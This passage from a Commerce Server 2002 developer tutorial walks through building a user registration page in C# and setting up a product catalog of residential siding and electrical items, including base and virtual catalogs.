  15. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type userDescriptionLabel.
    Text | Type User Description:.
  16. In the Toolbox window, in the Web Forms, drag and drop another Label object onto the form.
  17. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type emailAddressLabel.
    Text | Type Email Address:.
  18. In the Toolbox window, in the Web Forms, drag and drop another Label object onto the form.
  19. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type messageLabel.
    Text | Clear the contents.
  20. Extend the messageLabel box across the bottom of the page.
  21. In the Toolbox window, in the Web Forms list, drag and drop a TextBox object onto the form, and place it right next to the Username label object.
  22. In the Properties window, make sure the object you just created is selected, and then in the ID property box type userName.
  23. In the Toolbox window, in the Web Forms list, drag and drop another TextBox object onto the form, and place it right next to the Password label object.
  24. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type password.
    TextMode Select Password from the drop-down list.

    This option will hide the contents of the text box.
  25. In the Toolbox window, in the Web Forms list, drag and drop another TextBox object onto the form, and place it right next to the Confirm Password label object.
  26. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type passwordRetype.
    TextMode Select Password from the drop-down list.

    The contents of the text box will be hidden.
  27. In the Toolbox window, in the Web Forms list, drag and drop a TextBox object onto the form, and place it right next to the First Name label object.
  28. In the Properties window, make sure the object you just created is selected, and then in the ID property box type firstName.
  29. In the Toolbox window, in the Web Forms list, drag and drop a TextBox object onto the form, and place it right next to the Last Name label object.
  30. In the Properties window, make sure the object you just created is selected, and then in the ID property box type lastName.
  31. In the Toolbox window, in the Web Forms list, drag and drop a TextBox object onto the form, and place it right next to the Email Address label object.
  32. In the Properties window, make sure the object you just created is selected, and then in the ID property box type emailAddress.
  33. In the Toolbox window, in the Web Forms list, drag and drop a DropDownList object onto the form, and place it right next to the User Description label object.
  34. In the Properties window, make sure the object you just created is selected, and then in the ID property box type userDescription.
  35. In the Toolbox window, in the Web Forms list, drag and drop a DropDownList object onto the form, and place it right next to the Gender label object.
  36. In the Properties window, make sure the object you just created is selected, and then in the ID property box type gender.
  37. In the Toolbox window, in the Web Forms list, drag and drop a Button object onto the form.
  38. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type submit.
    Text | Type Submit.

To insert code into the submit_Click() handler

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – UserRegistration.aspx window, double click the Submit button.
  2. In the NorthwindTraders – Microsoft Visual C# .NET [design] – UserRegistration.aspx.cs window, enter the following code in the submit_Click() event handler:
    // First, we need to see if there is already a user
// by that name on the site. If there is, we will
// need to error out but leave the fields filled
// in with the same data that they currently contain.
AuthenticationInfo authInfo = CommerceContext.Current.AuthenticationInfo;
ProfileContext profContext = CommerceContext.Current.ProfileSystem;
Profile prof;

try
{
// Having checked to see if there already is a user
// with that name on the site, we now need to create
// the new user account and populate its profile.
// Also, check to make sure that the passwords are
// the same.
if ((String.Compare(passwordRetype.Text, password.Text) == 0))
{

// Get the profile context and fill it with our data.
   prof = profContext.CreateProfile(userName.Text, "UserObject");
   prof.Properties["GeneralInfo.logon_name"].Value = userName.Text;
   prof.Properties["GeneralInfo.user_security_password"].Value = password.Text;
   prof.Properties["GeneralInfo.first_name"].Value = firstName.Text;
   prof.Properties["GeneralInfo.last_name"].Value = lastName.Text;
   prof.Properties["GeneralInfo.email_address"].Value = emailAddress.Text;
   prof.Properties["AccountInfo.account_status"].Value = 1;
   prof.Properties["AccountInfo.date_registered"].Value = DateTime.Now;
   prof.Properties["GeneralInfo.u_gender"].Value = (string) gender.SelectedItem.Value;
   prof.Properties["GeneralInfo.u_userDescription"].Value = (string) userDescription.SelectedItem.Value;
   prof.Update();

   // Set the authorization ticket.
   string userID = (string)prof.Properties["GeneralInfo.user_id"].Value;
   authInfo.SetAuthTicket(userName.Text, true, 200);
   authInfo.SetProfileTicket(userName.Text, true);

   messageLabel.Text = "";
   Response.Redirect("default.aspx");
}
else
{
   messageLabel.Text = "Password does not match";
}
}
catch(Exception exp)
{
   // This means that this is a brand new name!
   messageLabel.Text = exp.Message; }

To insert code into the Page_Load() handler

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – UserRegistration.aspx.cs window, enter the following code in the Page_Load() event handler:
    // In here, we need to load the DropDownLists with the data
// from the site terms.
ProfileContext profContext = CommerceContext.Current.ProfileSystem;
SiteTerm genderTerm = profContext.GetSiteTerm("u_gender");
SiteTerm userDescriptionTerm = profContext.GetSiteTerm("u_userDescription");

if (gender.Items.Count == 0)
{
   gender.Items.Add(new ListItem("",""));
   foreach(SiteTermElement item in genderTerm.Elements)
   {
      ListItem li = new ListItem(item.Name,item.Value);
      gender.Items.Add(li);
   }
}
if (userDescription.Items.Count == 0)
{
   userDescription.Items.Add(new ListItem("",""));
   foreach(SiteTermElement item in userDescriptionTerm.Elements)
   {
      ListItem li = new ListItem(item.Name,item.Value);
      userDescription.Items.Add(li);
   }
}

    The new registration page is created.

To set UserRegistration.aspx as the start page

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – UserRegistration.aspx.cs window, in the Solution Explorer - NorthwindTraders window, right-click UserRegistration.aspx, and then select Set As Start Page.
  2. Press F5 to build and execute the project.


Lab 2: Building and Implementing a Catalog

In this lab you will learn how to build a product catalog and implement it on your Web site using the development environment of Visual Studio. NET. After completing this lab, you will be able to do the following:

  • Create property, product, and category definitions.
  • Add new products, product variants, and product categories.
  • Categorize products.
  • Associate similar products into product families.
  • Search the site catalog.
  • Apply both category pricing and custom pricing to products.
  • Work with multiple variants of a common base product.

Using the new Commerce Server 2002 Base Class Libraries (BCLs), you will also be able to programmatically do the following:

  • Enumerate the catalog and display it.
  • Browse categories within the catalog.
  • Databind Commerce Server data to databinding controls.
  • Use the Commerce Server 2002 DataBinding Expression Wizard.
  • Manager product variations in code (including two different product display formats).

This section contains:

  • Step 1: Create Product Properties
  • Step 2: Create Product Definitions
  • Step 3: Create New Category Definition
  • Step 4: Create a New Base Catalog
  • Step 5: Add Category Values to the Category Definition
  • Step 6: Add Products to a Catalog
  • Step 7: Import a Catalog
  • Step 8: Create a Virtual Catalog
  • Step 9: Display Products in a Hierarchical Format
  • Step 10: Implement Product Drill-down
  • Step 11: Implement Product Detail Page


Step 1: Create Product Properties

The first step in building a catalog is to define product properties, which are used to define products in your catalog.

In this step you will define a new product (ResidentialSiding), which has several properties, such as name, description, year, make, and model. To define the ResidentialSiding product, you create all of its properties such as, siding types, their prices, SKU numbers.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Catalog Definition Designer.
  5. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Property Definitions from the drop-down list.
  6. In the Catalog Definition Designer: Property Definitions screen, click New on the toolbar, and then select Multilingual Multiple Choice from the list.
  7. In the Property Definition: New (Multilingual Multiple Choice) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type SidingType.
    Display on Site | Select this check box to display the specified property to users on your Web site.
    Store data for analysis | Select this check box to export the property to the Data Warehouse.
  8. In the Property Definition: New (Multilingual Multiple Choice) screen, in the Display Names section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Display Name | Type Siding Type.
  9. Click Accept.
  10. In the Property Definition: New (Multilingual Multiple Choice) screen, in the Values section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Value | Type Aluminum.
  11. Click Accept.
  12. Repeat steps 10 and 11 to add Values for: Vinyl, Wood-Laminate, and Cedar.
  13. To save the property definition and return to the Catalog Definition Designer: Property Definitions screen, click Save and go back on the toolbar.
  14. In the Catalog Definition Designer: Property Definitions screen, click New on the toolbar, and then select Multilingual Multiple Choice from the list.
  15. In the Property Definition: New (Multilingual Multiple Choice) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type SidingColor.
    Display on Site | Select this check box to display the specified property to users on your Web site.
    Store data for analysis | Select this check box to export the property to the Data Warehouse.
  16. In the Property Definition: New (Multilingual Multiple Choice) screen, in the Display Names section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Display Name | Type Siding Color.
  17. Click Accept.
  18. In the Property Definition: New (Multilingual Multiple Choice) screen, in the Values section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Value | Type White.
  19. Click Accept.
  20. Repeat steps 18 and 19 to add values for: Brown, Red, and Blue.
  21. To save the property definition and return to the Catalog Definition Designer: Property Definitions screen, click Save and go back on the toolbar.
  22. In the Catalog Definition Designer: Property Definitions screen, click New on the toolbar, and then select Multilingual Multiple Choice from the list.
  23. In the Property Definition: New (Multilingual Multiple Choice) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type SidingMaintenanceFree.
    Display on Site | Select this check box to display the specified property to users on your Web site.
  24. In the Property Definition: New (Multilingual Multiple Choice) screen, in the Display Names section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Display Name | Type Is Siding Maintenance Free?.
  25. Click Accept.
  26. In the Property Definition: New (Multilingual Multiple Choice) screen, in the Values section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Value | Type Yes.
  27. Click Accept.
  28. Repeat steps 26 and 27 to add a value for No.
  29. To save the property definition and return to the Catalog Definition Designer: Property Definitions screen, click Save and go back on the toolbar.
  30. In the Catalog Definition Designer: Property Definitions screen, click New on the toolbar, and then select Number from the list.
  31. In the Property Definition: New (Number) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type SidingWarrantyLengthYears.
    Display on Site | Select this check box to display the specified property to users on your Web site.
    Store data for analysis | Select this check box to export the property to the Data Warehouse.
    Minimum Value | Type 0.
    Maximum Value | Type 100.
  32. In the Property Definition: New (Number) screen, in the Display Names section, click New, and then do the following:
    Use this | To do this
    Language | Select English - United States from the drop-down list.
    Display Name | Type Siding warranty length in years.
  33. Click Accept.
  34. To save the property definition and return to the Catalog Definition Designer: Property Definitions screen, click Save and go back on the toolbar.
  35. In the Catalog Definition Designer: Property Definitions screen, click New on the toolbar, and then select Text from the list.
  36. In the Property Definition: New (Text) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type ProductBaseName.
    Free text searchable | Clear the check box so that free text searching on your catalog does not apply to values stored in this property.
    Specification searchable | Clear the check box for this property. It is not used in specification searches.
    Minimum length | Type 0.
    Maximum length | Type 100.
    Assign to all product types | Select this check box to assign the property to all product types.
    Is required | Select this check box to indicate that this property must contain a value.
  37. To save the property definition and return to the Catalog Definition Designer: Property Definitions screen, click Save and go back on the toolbar.
  38. In the Catalog Definition Designer: Property Definitions screen, click New on the toolbar, and then select File Name from the list.
  39. In the Property Definition: New (File Name) screen, in the Properties section, do the following:
    Use this | To do this
    Name | Type Image.
    Display on Site | Select this check box to display the specified property to users on your Web site.
    Assign to all product types | Select this check box to assign the property to all product types.
  40. To save the property definition and return to the Catalog Definition Designer: Property Definitions screen, click Save and go back on the toolbar.


Step 2: Create Product Definitions

After you create product properties, you must create product definitions.

Product definitions describe the specific qualities of a particular product. These product qualities are called product properties. You create a product definition by assigning product properties to it.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Catalog Definition Designer.
  5. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Product Definitions from the drop-down list.
  6. In the Catalog Definition Designer: Product Definitions screen, click New on the toolbar.
  7. In the Product Definition: New screen, in the Name box, type ResidentialSiding.
  8. In the Product Properties section, add the following properties to the Assigned properties list:
    • Image
    • Name
    • ProductBaseName
    • Description
    • SidingMaintenanceFree
    • SidingWarrantyLengthYears
    • SidingType
  9. In the Product Variant Properties section, add the following properties to the Assigned properties list:
    • SidingColor
    • SKU
  10. To save the product definition and return to the Catalog Definition Designer: Product Definition screen, click Save and go back on the toolbar.


Step 3: Create New Category Definition

After you create product definitions, you create a category definition.

Category definitions describe the specific qualities of the categories in your catalog. These category qualities are called category properties. You create a category definition by assigning category properties to it. For example, the Department category definition might have the following category properties: Name, Description, Image File Name, Image Height, and Image Width. When you create a category based on the Department category definition, you enter values for the category properties. For example, the Name category property might be "Sport Shirts Department."

In this step you will create a category definition for Building Materials.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Catalog Definition Designer.
  5. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Category Definitions from the drop-down list.
  6. In Category Definition: New screen, in the Name box, type Building Materials.
  7. To save the new category definition and return to the Catalog Definition Designer: Category Definitions screen, click Save and go back on the toolbar.


Step 4: Create a New Base Catalog

After you define product and category definitions for your new catalog, you add products to the catalog. You can then categorize your products to let users search and navigate the catalog on your site.

Before you can add products, you must first create a new catalog instance that will hold the products.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Business Desk.
  5. In Catalogs, click Catalog Editor.
  6. In the Catalogs screen, click New on the toolbar, and then select New Base Catalog from the drop-down list.
  7. In the Catalog Properties - New Base Catalog screen, in the Catalog Properties section, do the following:
    Use this | To do this
    Name | Type ResidentialSiding.
    Start date | Type the start date for the catalog. This date does not have any effect on your Web site. However, if you exchange catalogs with a trading partner, your trading partner uses the Start date to determine when the catalog is valid.
    End date | Type the end date for the catalog. Your trading partners use this date to determine the last date the catalog is valid. By default this is the current date plus three months. For example, if you create your catalog in December, the catalog end date will be March.
    Currency | Select US Dollar - USD as the currency for the catalog from the drop-down list.
    Product unique ID | Select ProductBaseName as the unique identifier from the drop-down list.
    Product variant unique ID | Select SKU as the unique identifier from the drop-down list for the product variants.
  8. In the Catalog Languages section, do the following:
    Use this To do this
    Add Select the languages that the catalog will support.

    A catalog can support up to 10 languages. You can add five languages, save the catalog, and then add five more.

    For this step, add English - United States.
    Default Language Select English - United States from the drop-down list as the default language for your catalog.

    If you do not specify a default language, Commerce Server uses the same language as the Microsoft Windows operating system on your Business Desk client computer.
    Reporting Language Select English - United States from the drop-down list as the language to be used for the properties that will be stored in the Data Warehouse.

    This language will be used for reports and analysis.
  9. To enter the display name for the catalog, in the Language box, select the English - United States language, and then click Edit.
  10. In the Display name box, type Building Materials as the name for the catalog. This is the catalog name that will appear on your Web site.
  11. Click Accept.
  12. To save the catalog and return to the Catalogs screen, click Save and go back on the toolbar.


Step 5: Add Category Values to the Category Definition

After your create a base catalog, you add a list of categories to it that enables users to browse the catalog by category.

In this step you will add category values to the category definitions for the ResidentialSiding base catalog.

After you create a category tree, you first create all the categories, and then you organize them in a hierarchy that resembles what users see on the Web site when they search for products.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Business Desk.
  5. In Catalogs, click Catalog Editor.
  6. In the Catalogs screen, select the ResidentialSiding catalog, and then click Open on the toolbar.
  7. In the Catalog Content - Residential Siding (English - United States) screen, in the Categories section, click New.
  8. In the New Category dialog box, select Building Materials, and then click Continue.
  9. In the Catalog Editor - ResidentialSiding (English - United States) - new (Building Materials) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type SidingType.
    Display Name | Type Siding Type.
  10. To save the catalog property, click Save and create new on the toolbar .
  11. In the Catalog Editor - ResidentialSiding (English - United States) - new (Building Materials) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type MaintenanceFree.
    Display Name | Type Is Maintenance Free?.
  12. To save the catalog property, click Save and create new on the toolbar.
  13. In the Catalog Editor - ResidentialSiding (English - United States) - new (Building Materials) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type Aluminum.
    Display Name | Type Aluminum.
  14. To save the catalog property, click Save and create new on the toolbar.
  15. In the Catalog Editor - ResidentialSiding (English - United States) - new (Building Materials) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type Vinyl.
    Display Name | Type Vinyl.
  16. To save the catalog property, click Save and create new on the toolbar.
  17. In the Catalog Editor - ResidentialSiding (English - United States) - new (Building Materials) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type Wood-Laminate.
    Display Name | Type Wood-Laminate.
  18. To save the catalog property, click Save and create new on the toolbar.
  19. In the Catalog Editor - ResidentialSiding (English - United States) - new (Building Materials) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type Cedar.
    Display Name | Type Cedar.
  20. To save the catalog property, click Save and create new on the toolbar.
  21. In the Catalog Editor - ResidentialSiding (English - United States) - new (Building Materials) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type IsMaintenanceFree.
    Display Name | Type Is Maintenance Free.
  22. To save the catalog property and return to the Catalog Content - ResidentialSiding (English - United States) screen, click Save and create new on the toolbar.
  23. In the Catalog Editor - ResidentialSiding (English - United States) - new (Building Materials) screen, in the Category Properties section, do the following:
    Use this | To do this
    Name | Type IsNotMaintenanceFree.
    Display Name | Type Is Not Maintenance Free.
  24. To save the catalog property and return to the Catalog Content - ResidentialSiding (English - United States) screen, click Save and go back on the toolbar.
  25. In the Catalog Content - ResidentialSiding (English - United States) screen, in the Categories section, in the Categories list select Siding Type, and then click Edit.
  26. In the Catalog Editor - ResidentialSiding (English - United States) - Siding Type (Building Materials) screen, in the Assigned Categories section, add the following categories from the Available child categories to the Assigned child categories list:
    • Aluminum
    • Vinyl
    • Wood-Laminate
    • Cedar
  27. Click Save and go back on the toolbar to save the catalog and return to the Catalog Content - ResidentialSiding (English - United States) screen.
  28. In the Catalog Content - ResidentialSiding (English - United States) screen, in the Categories section, in the Categories list select MaintenanceFree, and then click Edit.
  29. In the Catalog Editor - ResidentialSiding (English - United States) - MaintenanceFree (Building Materials) screen, in the Assigned Categories section, add the following categories from the Available child categories to the Assigned child categories list:
    • IsMaintenanceFree
    • IsNotMaintenanceFree
  30. To save the catalog and return to the Catalog Content - ResidentialSiding (English - United States) screen, click Save and go back on the toolbar.


Step 6: Add Products to a Catalog

The final step in implementing the catalog is to add products. In this step you add products to the new catalog and refresh the Product Catalog System.

To add products to the catalog

To refresh and publish the catalog

To add products to the catalog

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Business Desk.
  5. In Catalogs, click Catalog Editor.
  6. In the Catalogs screen, select the ResidentialSiding catalog, and then click Open on the toolbar.
  7. In the Catalog Content - <Residential Siding> screen, in the Products section, click New.
  8. In the New Product dialog box, select the product definition for ResidentialSiding, and then click OK.
  9. In the Catalog Editor - ResidentialSiding (English - United States) - new (ResidentialSiding) screen, in the Product Properties section, do the following:
    Use this | To do this
    ProductBaseName | Type WeatherOne.
    Name | Type WeatherOne.
    Description | Type 400-foot section.
    SideMaintenanceFree | Select Yes from the drop-down list.
    SideWarrantyLengthYears | Type 10.
    SideType | Select Vinyl from the drop-down list.
    Default Price | Type 999.95.
  10. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 1111.
    SidingColor | Select White from the drop-down list.
  11. Click Done.
  12. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 1112.
    SidingColor | Select Brown from the drop-down list.
  13. Click Done.
  14. In the Assigned Categories section, select both IsMaintenanceFree and Vinyl from the Available categories list, and then click Add.
  15. Click Save and create new on the toolbar.
  16. In the New Product dialog box, select the product ResidentialSiding definition, and then click OK.
  17. In the Catalog Editor - ResidentialSiding (English - United States) - new (ResidentialSiding) screen, in the Product Properties section, do the following:
    Use this | To do this
    ProductBaseName | Type TopChoice.
    Name | Type TopChoice.
    Description | Type 400-foot section.
    SideMaintenanceFree | Select Yes from the drop-down list.
    SideWarrantyLengthYears | Type 15.
    SideType | Select Vinyl from the drop-down list.
    Default Price | Type 1099.95.
  18. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 2113.
    SidingColor | Select Red from the drop-down list.
  19. Click Done.
  20. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 2114.
    SidingColor | Select Blue from the drop-down list.
  21. Click Done.
  22. In the Assigned Categories section, select both IsMaintenanceFree and Vinyl from the Available categories list, and then click Add.
  23. Click Save and create new on the toolbar.
  24. In the Catalog Editor - ResidentialSiding (English - United States) - new (ResidentialSiding) screen, in the Product Properties section, do the following:
    Use this | To do this
    ProductBaseName | Type WeatherMaster.
    Name | Type WeatherMaster.
    Description | Type 400-foot section.
    SideMaintenanceFree | Select No from the drop-down list.
    SideWarrantyLengthYears | Type 5.
    SideType | Select Aluminum from the drop-down list.
    Default Price | Type 799.95.
  25. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 3111.
    SidingColor | Select White from the drop-down list.
  26. Click Done.
  27. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 3112.
    SidingColor | Select Brown from the drop-down list.
  28. Click Done.
  29. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 3113.
    SidingColor | Select Red from the drop-down list.
  30. Click Done.
  31. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 3114.
    SidingColor | Select Blue from the drop-down list.
  32. Click Done.
  33. In the Assigned Categories section, select both IsMaintenanceNotFree and Aluminum from the Available categories list, and then click Add.
  34. Click Save and create new on the toolbar.
  35. In the New Product dialog box, select the product ResidentialSiding definition, and then click OK.
  36. In the Catalog Editor - ResidentialSiding (English - United States) - new (ResidentialSiding) screen, in the Product Properties section, do the following:
    Use this | To do this
    ProductBaseName | Type WeatherMaster2.
    Name | Type WeatherMaster2.
    Description | Type 400-foot section.
    SideMaintenanceFree | Select Yes from the drop-down list.
    SideWarrantyLengthYears | Type 30.
    SideType | Select Cedar from the drop-down list.
    Default Price | Type 1599.95.
  37. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 4112.
    SidingColor | Select Brown from the drop-down list.
  38. Click Done.
  39. In the Assigned Categories section, select both IsMaintenanceFree and Cedar from the Available categories list, and then click Add.
  40. Click Save and create new on the toolbar.
  41. In the New Product dialog box, select the product ResidentialSiding definition, and then click OK.
  42. In the Catalog Editor - ResidentialSiding (English - United States) - new (ResidentialSiding) screen, in the Product Properties section, do the following:
    Use this | To do this
    ProductBaseName | Type PrimeFace.
    Name | Type PrimeFace.
    Description | Type 400-foot section.
    SideMaintenanceFree | Select No from the drop-down list.
    SideWarrantyLengthYears | Type 5.
    SideType | Select Wood-Laminate from the drop-down list.
    Default Price | Type 599.95.
  43. In the Product Variants section, click New, and then do the following:
    Use this | To do this
    SKU | Type 5222.
    SidingColor | Select Brown from the drop-down list.
  44. Click Done.
  45. In the Assigned Categories section, select both IsMaintenanceNotFree and Wood-Laminate from the Available categories list, and then click Add.
  46. To save the product variant and return to the Catalog Editor screen click Save and go back on the toolbar.

After you have implemented a fully functioning catalog with property, product, and category definitions, and with products, you must refresh and publish the catalog using the Catalog Editor module.

To refresh and publish the catalog

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the ResidentialSiding catalog, and then click Refresh on the toolbar.


Step 7: Import a Catalog

A Commerce Server catalog in Extensible Markup Language (XML) file format contains both catalog definitions and product data. You can import a Commerce Server catalog XML file, and then use the Catalog Editor module to make changes to the product data.

In this lab you will import a sample XML-based catalog from the Commerce Server 2002 CD into the Commerce Server catalog database. You can assume that your business partner created a catalog containing electrical products.

Note

  • The sample electrical.xml catalog is located in the \Support\.NET Tutorial Data\Catalog Data\Catalog Items\ folder on the Commerce Server 2002 CD. You must copy this catalog and save it on your computer.
  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Business Desk.
  5. In Catalogs, click Catalog Editor.
  6. In the Catalogs screen, click Import on the toolbar, and then select Import XML from the drop-down list.
  7. In the Import XML Catalog dialog box, do the following:
    Use this | To do this
    Specify a locally accessible XML file | Click Browse to navigate to the electrical.xml XML catalog file located on your Business Desk client computer.
  8. Click OK.

This process may take a few minutes to complete.

Important

  • When you use Business Desk in Microsoft Visual Studio .NET, and you want to import an XML catalog file that is either on your local computer or on a remote client, you must do one of the following:
    • Move the local file to the server, and then import the XML file on the server.
    • Run Business Desk outside of Visual Studio .NET, and import the XML catalog file.

To see the catalog after you import it, click Catalog Editor. This step refreshes the Catalog Editor screen.


Step 8: Create a Virtual Catalog

A Commerce Server 2002 virtual catalog references the product data in one or more base catalogs. Products are represented only once in the database, regardless of how many virtual catalogs they appear in.

There are three primary uses for virtual catalogs:

  • To aggregate multiple catalogs so they appear as one catalog to users
  • To price products in multiple currencies
  • To provide special pricing, or subsets of products, for specified groups of users

Virtual catalogs support price rules. That is, you can specify whether the price for the category or product is the same as the price in the base catalog, or different, for example, a percentage or set amount more or less.

In this step, you will implement multilingual/multicurrency properties and consolidate multiple base catalogs into a virtual catalog. In a fully multilingual and multi-currency enabled site, a virtual catalog is implemented for each language/currency combination that will be available for the user to browse.

To implement a simplified way of handling multiple locales, you will be appending the LCID (LocaleID) to the end of the catalog name. For example, LCID=1033 to implement a single virtual catalog to handle US English/US Dollars.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Business Desk.
  5. In Catalogs, click Catalog Editor.
  6. In the Catalogs screen, click New on the toolbar, and then select New Virtual Catalog from the drop-down list.
  7. In the Catalog Properties – New Virtual Catalog screen, in the Catalog Properties section, do the following:
    Use this | To do this
    Name | Type BuildingMaterials1033.
    Start date | Type the start date for the catalog. This date does not have any effect on your Web site. However, if you exchange catalogs with a trading partner, this date lets your trading partner know the first date that the catalog is valid.
    End date | Type the end date for the catalog. Your trading partners use this date to determine the last date the catalog is valid. By default this is the current date plus three months. For example, if you create your catalog in December, the catalog end date will be March.
    Currency | Select the US Dollar - USD currency for the catalog from the drop-down list.
  8. In the Catalog Languages section, click Add to select English - United States as the supported language for the catalog.
  9. In the Default Language box, select English - United States from the drop-down list.
  10. In the Reporting Language box, select English - United States from the drop-down list.
  11. To enter the display name for the catalog, in the Language box, select the language English - United States, and then click Edit.
  12. In the Display name box, type Building Materials as the name for the catalog. This is the catalog name that will appear on your Web site.
  13. Click Accept.
  14. To save the catalog and return to the Catalogs screen, click Save and go back on the toolbar.
  15. In the Catalogs screen, select BuildingMaterials1033, and then click Open on the toolbar.
  16. In the Catalog Content - BuildingMaterials1033 (English - United States) screen, in the Include/exclude section, click New.
  17. In the Catalog box, click the ellipsis […] button.
  18. In the Catalog Picker dialog box, select the ResidentialSiding catalog, and then click Select.
  19. In the Rule box, select Include Catalog from the drop-down list.
  20. Click Done.
  21. Repeat steps 16 to 20 to add the Electrical base catalog to the BuildingMaterials1033 virtual catalog.
  22. To save the virtual catalog and return to the Catalogs screen, click Save and go back on the toolbar.
  23. In the Catalogs screen, select the BuildingMaterials1033 virtual catalog, and then click Rebuild virtual catalogs on the toolbar.

    The message, “Catalog Rebuild process has been started successfully…” appears.

  24. Click OK, and then click Catalog Editor to refresh the list of catalogs.

    The catalog you selected appears in the list with “Up-to-date” in the Status section.

    If “Rebuilding” appears in the Status section, wait a few seconds, and then click Catalog Editor again.

  25. Using SQL Query Analyzer, run the CatalogSecurityRoles.sql script against the NorthwindTraders_commerce database.

    The CatalogSecurityRoles.sql script is located in the <drive>:\Program Files\Microsoft Commerce Server 2002\Support folder.


Step 9: Display Products in a Hierarchical Format

To display products in your catalog in a hierarchical format, you use the product drill-down method.

In this step you will create DataLists, a Web User Control. Using DataBindings properties, you will dynamically populate the Control and display it on the default page. You will implement code on three separate pages to handle the display of your catalog data. Your site will match the pages up with the levels as the following hierarchy:

Level | Category | Page | Description
1 | High-level | Default.aspx | Displays a text-only header.
2 | Subcategories | Default.aspx | Lists subcategories expanded under their parent (the high-level category) on the default page.
3 | Product Listing | ProductListing.aspx | Lists products from a given category on a custom ASP DataList.
